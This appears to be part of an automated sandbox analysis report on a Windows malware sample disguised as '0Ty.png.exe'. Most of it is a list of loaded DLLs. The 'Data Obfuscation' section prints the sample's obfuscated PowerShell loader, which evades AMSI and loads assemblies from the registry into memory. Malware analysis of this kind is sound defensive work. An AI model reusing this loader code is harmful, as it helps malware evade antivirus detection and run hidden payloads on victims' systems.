Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\choice.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\dialer.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\dllhost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\winlogon.exe Section loaded: pdh.dll
Source: C:\Windows\System32\lsass.exe Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pdh.dll
Source: C:\Windows\System32\dwm.exe Section loaded: pdh.dll
Source: C:\Windows\System32\dllhost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pdh.dll
Source: C:\Windows\System32\dialer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: 0Ty.png.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: 0Ty.png.exe Static file information: File size 5457920 > 1048576
Source: 0Ty.png.exe Static PE information: Raw size of .data is bigger than: 0x100000 < 0x526e00
Source: 0Ty.png.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer($GwiYeAsQvQLFBf,$JUWLrRiAryQvoCLvYRG).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$GgrwIxrHHM
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer($gtTuUeciWixJxL,$PODdpwJbLVAeqmqHxFL).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+''+[Char](100)+'ll');$DyCMYouZARyvvTbwm=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$DBzwtCM
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 